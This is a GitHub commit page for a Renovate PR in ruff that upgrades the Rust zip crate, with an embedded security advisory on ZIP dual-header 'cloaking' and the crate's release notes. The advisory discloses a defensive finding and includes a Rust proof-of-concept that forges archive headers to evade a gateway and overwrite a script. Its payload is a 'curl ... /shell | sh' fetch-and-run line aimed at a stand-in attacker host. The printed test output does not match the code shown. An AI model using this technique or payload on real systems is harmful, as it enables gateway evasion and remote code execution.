ruff
fde7c6de - Update Rust crate zip to v9 (#29808)

Commit
3 days ago
Update Rust crate zip to v9 (#29808) This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [zip](https://redirect.github.com/zip-rs/zip2) | workspace.dependencies | major | `8.0` → `9.0` | --- ### zip: Critical Parser Differential & Security Control Bypass via Dual-Header Inconsistencies (Zip Cloaking) Leading to Arbitrary File Overwrite & RCE [CVE-2026-115905](https://nvd.nist.gov/vuln/detail/CVE-2026-115905) / [GHSA-m665-v7pm-7grj](https://redirect.github.com/advisories/GHSA-m665-v7pm-7grj) <details> <summary>More information</summary> #### Details ##### Summary A critical architectural parser differential exists in the `zip` crate (`<= 9.0.4`) between random-access archive readers (`ZipArchive`) and streaming readers (`ZipStreamReader`). `ZipArchive` considers the Central Directory File Header (CDFH) authoritative and ignores the filename declared in the Local File Header (LFH). In contrast, `ZipStreamReader` relies exclusively on the Local File Header (LFH) when extracting files to the filesystem. This discrepancy enables ZIP archives to appear to have different file paths and contents according to which tool is reading them. --- ##### Details ##### Architectural Root Cause In the PKWARE ZIP archive format, every file entry is defined in two distinct locations: 1. **Local File Header (LFH):** Precedes the compressed payload of each file in the body of the archive. 2. **Central Directory File Header (CDFH):** Stored in a contiguous index at the end of the archive. In `zip2`: - `src/read/zip_archive.rs`: `ZipArchive` parses the central directory into `SharedBuilder.files`. All file lookups by index or name read exclusively from the CDFH table, completely ignoring the filename present in the LFH. - `src/read/stream.rs:L86-L141`: `ZipStreamReader::visit` and `ZipStreamReader::extract` read sequentially from the stream without verifying the central directory index. Each entry is parsed via `read_zipfile_from_stream` and written to disk using the unverified filename declared in the LFH: ```rust // src/read/stream.rs fn visit_file<R: Read>(&mut self, file: &mut ZipFile<'_, R>) -> ZipResult<()> { file.safe_prepare_path(&self.outpath, &mut outpath, None::<&(_, fn(&Path) -> bool)>)?; let mut outfile = fs::File::create(&outpath)?; io::copy(file, &mut outfile)?; Ok(()) } ``` - `src/write.rs:L1552`: The crate explicitly exposes `shallow_copy_file`, an API that constructs dual-header desynchronizations by adding a new CDFH entry with an alias name pointing to an existing file without updating the original LFH. ##### Threat Scenario & Severity Justification (10.0 / 9.9 Critical) 1. **Security Control Evasion:** An adversary crafts a ZIP archive where: - Central Directory Header declares: `doc_report.pdf` (Clean document) - Local File Header declares: `cron_worker.sh` (Malicious root backdoor) 2. The archive is uploaded through a web portal or API endpoint protected by security gateways (WAF, Anti-Virus, Content Disarm & Reconstruction). The security gateway inspects the archive using `ZipArchive` (or similar CDFH-first parsers), detects only `doc_report.pdf`, and approves the file. 3. The backend worker or cloud function receives the approved archive and extracts it using `ZipStreamReader::extract`. `ZipStreamReader` reads the LFH and overwrites `cron_worker.sh`. 4. **Full Compromise (CIA = High):** The legitimate production health checker / service script is destroyed (**Availability = High / DoS**), while the attacker's backdoor payload is implanted (**Integrity = High / RCE**). --- ##### Proof of Concept The following automated integration test reproducibly demonstrates the complete CVSS 10.0 / 9.9 exploit chain (Security Gateway Evasion -> Arbitrary File Overwrite -> RCE & DoS) against `zip2`: ```rust use std::fs; use std::io::{Cursor, Write}; use tempfile::tempdir; use zip::unstable::stream::ZipStreamReader; use zip::write::SimpleFileOptions; use zip::{ZipArchive, ZipWriter}; // Simulated Security Gateway (inspects CDFH via ZipArchive) fn security_gateway_inspection(archive_bytes: &[u8]) -> Result<(), String> { let mut archive = ZipArchive::new(Cursor::new(archive_bytes)).unwrap(); for i in 0..archive.len() { let name = archive.by_index(i).unwrap().name().unwrap().to_string(); if name.ends_with(".sh") || name.ends_with(".exe") { return Err(format!("MALWARE DETECTED: '{}' blocked!", name)); } if !name.ends_with(".pdf") { return Err("Policy violation: only PDFs allowed!".into()); } } Ok(()) } #[test] fn test_cvss_9_9_dual_header_exploit_chain() { // 1. Victim server setup: existing critical script let victim_env = tempdir().unwrap(); let victim_dir = victim_env.path(); let target_script = victim_dir.join("cron_worker.sh"); fs::write(&target_script, b"#!/bin/sh\n# PRODUCTION SERVICE\necho 'SERVICE HEALTHY'\n").unwrap(); // 2. Attacker crafts Single-Entry Dual-Header Archive // LFH: "cron_worker.sh" | CDFH: "doc_report.pdf" let mut payload = Cursor::new(Vec::new()); let mut writer = ZipWriter::new(&mut payload); writer.start_file("cron_worker.sh", SimpleFileOptions::default()).unwrap(); writer.write_all(b"#!/bin/sh\ncurl -s https://c2/shell | sh\necho 'PWNED ROOT'\n").unwrap(); writer.finish().unwrap(); let mut malicious_zip = payload.into_inner(); let cdh = malicious_zip.windows(4).position(|s| s == b"PK\x01\x02").unwrap(); malicious_zip[cdh + 46..cdh + 46 + 14].copy_from_slice(b"doc_report.pdf"); // 3. Gateway Inspection (Bypassed!) assert!(security_gateway_inspection(&malicious_zip).is_ok()); // 4. Backend Extraction (ZipStreamReader) ZipStreamReader::new(Cursor::new(&malicious_zip)).extract(victim_dir).unwrap(); // 5. Impact Verification let compromised = fs::read_to_string(&target_script).unwrap(); assert!(!compromised.contains("SERVICE HEALTHY")); // DoS Confirmed assert!(compromised.contains("PWNED ROOT")); // RCE Confirmed } ``` ##### Verified Test Execution Output ```text running 1 test ================================================================== Dual-Header Security Gateway Evasion Exploit Chain: Gateway Evasion -> Arbitrary Overwrite -> RCE & DoS ================================================================== [VICTIM SERVER STATE - BEFORE ATTACK] Existing Content: SERVICE IS RUNNING NORMALLY --- [STEP 1: SECURITY GATEWAY INSPECTION] --- [SECURITY GATEWAY] Auditing entry #&#8203;0: 'doc_report.pdf' [GATEWAY VERDICT]: Ok(()) [VULNERABILITY PROOF 1/3]: Security gateway was 100% BLIND to 'cron_worker.sh'! --- [STEP 2: BACKEND EXTRACTION (ZipStreamReader)] --- Backend server unzips approved archive into production directory. --- [STEP 3: POST-ATTACK IMPACT VERIFICATION] --- [VICTIM SERVER STATE - AFTER ATTACK] Compromised Content: curl -s https://attacker.c2/shell | sh echo 'PWNED: FULL ROOT TAKEOVER' ``` --- ##### Impact An attacker can construct a crafted archive whose Central Directory displays a benign filename (doc_report.pdf) that is inspected and approved by upstream security gateways (antivirus scanners, mail filters, upload firewalls), while automated backend ingestion pipelines or microservices using ZipStreamReader extract an arbitrary or malicious file (overwriting e.g. cron_worker.sh or critical system binaries). Because an adversary can overwrite existing files on disk, this vulnerability leads to Security Control Bypass, Arbitrary File Overwrite, Complete Denial of Service, and Remote Code Execution (RCE) in situations where a tool relying on the central directory trusts a tool that relied on the local file headers or vice-versa. **Who is Impacted:** - Automated ingestion microservices, SaaS platforms, and backend workers that extract user-submitted ZIP files. - Enterprise architectures where security verification (AV scanning, extension whitelisting) is decoupled from extraction (e.g. gateway audits Central Directory via CDFH before handing off extraction to streaming extractors). - Containerized workloads where overwriting local configuration files or executable scripts leads to host/container escape and complete service disruption. #### Severity - CVSS Score: 10.0 / 10 (Critical) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L` #### References - [https://github.com/zip-rs/zip2/security/advisories/GHSA-m665-v7pm-7grj](https://redirect.github.com/zip-rs/zip2/security/advisories/GHSA-m665-v7pm-7grj) - [https://nvd.nist.gov/vuln/detail/CVE-2026-115905](https://nvd.nist.gov/vuln/detail/CVE-2026-115905) - [https://github.com/zip-rs/zip2/commit/8068ab480ccf8daa7411424e365fcdbe6d09443e](https://redirect.github.com/zip-rs/zip2/commit/8068ab480ccf8daa7411424e365fcdbe6d09443e) - [https://github.com/zip-rs/zip2/releases/tag/v9.0.5](https://redirect.github.com/zip-rs/zip2/releases/tag/v9.0.5) - [https://github.com/advisories/GHSA-m665-v7pm-7grj](https://redirect.github.com/advisories/GHSA-m665-v7pm-7grj) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-m665-v7pm-7grj) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>zip-rs/zip2 (zip)</summary> ### [`v9.0.5`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#905---2026-10-17) [Compare Source](https://redirect.github.com/zip-rs/zip2/compare/v9.0.4...v9.0.5) ##### <!-- 1 -->🐛 Bug Fixes - use mode_t for fchmodat's mode, which is u32 on NetBSD and OpenBSD ([#&#8203;1076](https://redirect.github.com/zip-rs/zip2/pull/1076)) - *(write)* prevent duplicate 0x9901 AES extra field in raw_copy_file ([#&#8203;1078](https://redirect.github.com/zip-rs/zip2/pull/1078)) ##### <!-- 7 -->⚙️ Miscellaneous Tasks - Enable release-plz on backport branches in future ([#&#8203;1079](https://redirect.github.com/zip-rs/zip2/pull/1079)) ### [`v9.0.4`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#904---2026-10-16) [Compare Source](https://redirect.github.com/zip-rs/zip2/compare/v9.0.3...v9.0.4) ##### <!-- 1 -->🐛 Bug Fixes - enclosed_name rejects a separator inside one verbatim path component ([#&#8203;1066](https://redirect.github.com/zip-rs/zip2/pull/1066)) - return `Ok(None)` when read_zipfile_from_stream is called on an empty archive ([#&#8203;1063](https://redirect.github.com/zip-rs/zip2/pull/1063)) ##### <!-- 7 -->⚙️ Miscellaneous Tasks - Revert impl Copy for Zip64CentralDirectoryEndLocator due to failing semver check, fix CI where most Miri tests weren't running, and other fixes so other PRs can pass CI ([#&#8203;1065](https://redirect.github.com/zip-rs/zip2/pull/1065)) - update lzma-rust2 and ppmd-rust dependencies ([#&#8203;1060](https://redirect.github.com/zip-rs/zip2/pull/1060)) ### [`v9.0.3`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#903---2026-10-13) [Compare Source](https://redirect.github.com/zip-rs/zip2/compare/9.0.2...v9.0.3) ##### <!-- 1 -->🐛 Bug Fixes - Preserve directories' read-only status when extracting on non-Unix systems ([#&#8203;1054](https://redirect.github.com/zip-rs/zip2/pull/1054)) ### [`v9.0.2`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#902---2026-10-11) [Compare Source](https://redirect.github.com/zip-rs/zip2/compare/v9.0.1...9.0.2) ##### <!-- 1 -->🐛 Bug Fixes - additional bug fixes for symlink extraction ### [`v9.0.1`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#901---2026-10-10) [Compare Source](https://redirect.github.com/zip-rs/zip2/compare/v9.0.0...v9.0.1) ##### <!-- 1 -->🐛 Bug Fixes - set_permissions was still following symlinks in non-streaming extraction ([#&#8203;1038](https://redirect.github.com/zip-rs/zip2/pull/1038)) - two arithmetic overflows in the implode decoder ([#&#8203;1028](https://redirect.github.com/zip-rs/zip2/pull/1028)) - reject an empty archive whose central directory offset is past the EOCD ([#&#8203;1025](https://redirect.github.com/zip-rs/zip2/pull/1025)) - don't panic when two entries extract to the same path ([#&#8203;1023](https://redirect.github.com/zip-rs/zip2/pull/1023)) - fail reads that exceed the declared uncompressed size ([#&#8203;1022](https://redirect.github.com/zip-rs/zip2/pull/1022)) - shrink decoder skipped LZW code 8191 ([#&#8203;1029](https://redirect.github.com/zip-rs/zip2/pull/1029)) - write only the sentinel-marked values in a central ZIP64 field ([#&#8203;1027](https://redirect.github.com/zip-rs/zip2/pull/1027)) ### [`v9.0.0`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#900---2026-10-08) [Compare Source](https://redirect.github.com/zip-rs/zip2/compare/v8.6.0...v9.0.0) ##### <!-- 0 -->🚀 Features - add ZipFileBuilder for parallelizing compression ([#&#8203;911](https://redirect.github.com/zip-rs/zip2/pull/911)) - add method `by_index_with_data_descriptor` ([#&#8203;994](https://redirect.github.com/zip-rs/zip2/pull/994)) - add len, is_empty and entry to ZipArchiveMetadata ([#&#8203;1015](https://redirect.github.com/zip-rs/zip2/pull/1015)) - read data descriptor from binary ([#&#8203;990](https://redirect.github.com/zip-rs/zip2/pull/990)) - add comment and test for ZipStreamReader and symlinks ([#&#8203;985](https://redirect.github.com/zip-rs/zip2/pull/985)) - *(write)* add `ZipWriter::hide_file` for in-place entry deletion ([#&#8203;924](https://redirect.github.com/zip-rs/zip2/pull/924)) - add compression ([#&#8203;948](https://redirect.github.com/zip-rs/zip2/pull/948)) - add test to in place modification ([#&#8203;945](https://redirect.github.com/zip-rs/zip2/pull/945)) - move CustomExtraField to own file ([#&#8203;941](https://redirect.github.com/zip-rs/zip2/pull/941)) - add a test on enum size ([#&#8203;939](https://redirect.github.com/zip-rs/zip2/pull/939)) - use ZipFileEntry instead of ZipStreamFileMetadata ([#&#8203;935](https://redirect.github.com/zip-rs/zip2/pull/935)) - add ZipFileEntry with no Reader ([#&#8203;933](https://redirect.github.com/zip-rs/zip2/pull/933)) - change `aes_mode` to `aes_settings()` in ZipFileData ([#&#8203;925](https://redirect.github.com/zip-rs/zip2/pull/925)) - cleanup and harmonize extra fields ([#&#8203;923](https://redirect.github.com/zip-rs/zip2/pull/923)) - Rewrite zip64 extra ([#&#8203;913](https://redirect.github.com/zip-rs/zip2/pull/913)) ##### <!-- 1 -->🐛 Bug Fixes - reading an empty AES entry again at EOF returns Ok(0) ([#&#8203;1024](https://redirect.github.com/zip-rs/zip2/pull/1024)) - reject ZIP64 sizes that overflow u64 when computing data end offsets ([#&#8203;1036](https://redirect.github.com/zip-rs/zip2/pull/1036)) - apply central directory metadata in ZipStreamReader, only to written entries ([#&#8203;1030](https://redirect.github.com/zip-rs/zip2/pull/1030)) - consume the whole extended timestamp field in the central header ([#&#8203;1016](https://redirect.github.com/zip-rs/zip2/pull/1016)) - parse the central header of the extended timestamp ([#&#8203;1002](https://redirect.github.com/zip-rs/zip2/pull/1002)) - don't pre-allocate the declared size in the legacy decoders ([#&#8203;991](https://redirect.github.com/zip-rs/zip2/pull/991)) - Symlink with very large declared size could lead to out-of-memory panic ([#&#8203;984](https://redirect.github.com/zip-rs/zip2/pull/984)) - copy extra fields in raw_copy_file ([#&#8203;955](https://redirect.github.com/zip-rs/zip2/pull/955)) ([#&#8203;982](https://redirect.github.com/zip-rs/zip2/pull/982)) - add unix_mode when copy_raw_file ([#&#8203;981](https://redirect.github.com/zip-rs/zip2/pull/981)) - rewrite documentation of add_symlink_from_path ([#&#8203;979](https://redirect.github.com/zip-rs/zip2/pull/979)) - ignore a ZIP64 extra field that no sentinel asked for ([#&#8203;962](https://redirect.github.com/zip-rs/zip2/pull/962)) - do not set data descriptor if directory ([#&#8203;973](https://redirect.github.com/zip-rs/zip2/pull/973)) - expose flags function for easier access ([#&#8203;972](https://redirect.github.com/zip-rs/zip2/pull/972)) - preserve unix permission in raw_copy_file ([#&#8203;956](https://redirect.github.com/zip-rs/zip2/pull/956)) - clippy warning on nightly ([#&#8203;960](https://redirect.github.com/zip-rs/zip2/pull/960)) - remove extra alloc used to copy ([#&#8203;938](https://redirect.github.com/zip-rs/zip2/pull/938)) - lazy allocation on error case ([#&#8203;937](https://redirect.github.com/zip-rs/zip2/pull/937)) - fix data alignment ([#&#8203;929](https://redirect.github.com/zip-rs/zip2/pull/929)) ##### <!-- 2 -->🚜 Refactor - move extract to own file ([#&#8203;1009](https://redirect.github.com/zip-rs/zip2/pull/1009)) - cleanup permissions related code ([#&#8203;961](https://redirect.github.com/zip-rs/zip2/pull/961)) - remove feature gate ([#&#8203;949](https://redirect.github.com/zip-rs/zip2/pull/949)) - create `ZipFileFlags` to wrap `flags` ([#&#8203;947](https://redirect.github.com/zip-rs/zip2/pull/947)) - remove unused trait ([#&#8203;946](https://redirect.github.com/zip-rs/zip2/pull/946)) - access `crate::format` with `zip::unstable::format` ([#&#8203;944](https://redirect.github.com/zip-rs/zip2/pull/944)) - harmonize functions to `format/functions.rs` ([#&#8203;943](https://redirect.github.com/zip-rs/zip2/pull/943)) - rewrite `make_reader()` function ([#&#8203;936](https://redirect.github.com/zip-rs/zip2/pull/936)) - simplify `initialize_local_block` ([#&#8203;934](https://redirect.github.com/zip-rs/zip2/pull/934)) - move write options to `write/options.rs` ([#&#8203;931](https://redirect.github.com/zip-rs/zip2/pull/931)) - move spec to format ([#&#8203;932](https://redirect.github.com/zip-rs/zip2/pull/932)) - move Magic to format ([#&#8203;930](https://redirect.github.com/zip-rs/zip2/pull/930)) - \[**breaking**] Remove ZipFileData::extra_data_start field that is never read ([#&#8203;926](https://redirect.github.com/zip-rs/zip2/pull/926)) ##### <!-- 7 -->⚙️ Miscellaneous Tasks - Fix high-level symlink extraction logic, disable some tests in miri, and fix some typos ([#&#8203;1035](https://redirect.github.com/zip-rs/zip2/pull/1035)) ##### Fix - some permissions tests can only run on Unix ([#&#8203;1000](https://redirect.github.com/zip-rs/zip2/pull/1000)) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/astral-sh/ruff). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xODguMiIsInVwZGF0ZWRJblZlciI6IjQ0LjE4OC4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJpbnRlcm5hbCIsInNlY3VyaXR5Il19--> --------- Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Brent Westbrook <brentrwestbrook@gmail.com>
Author
Parents
Loading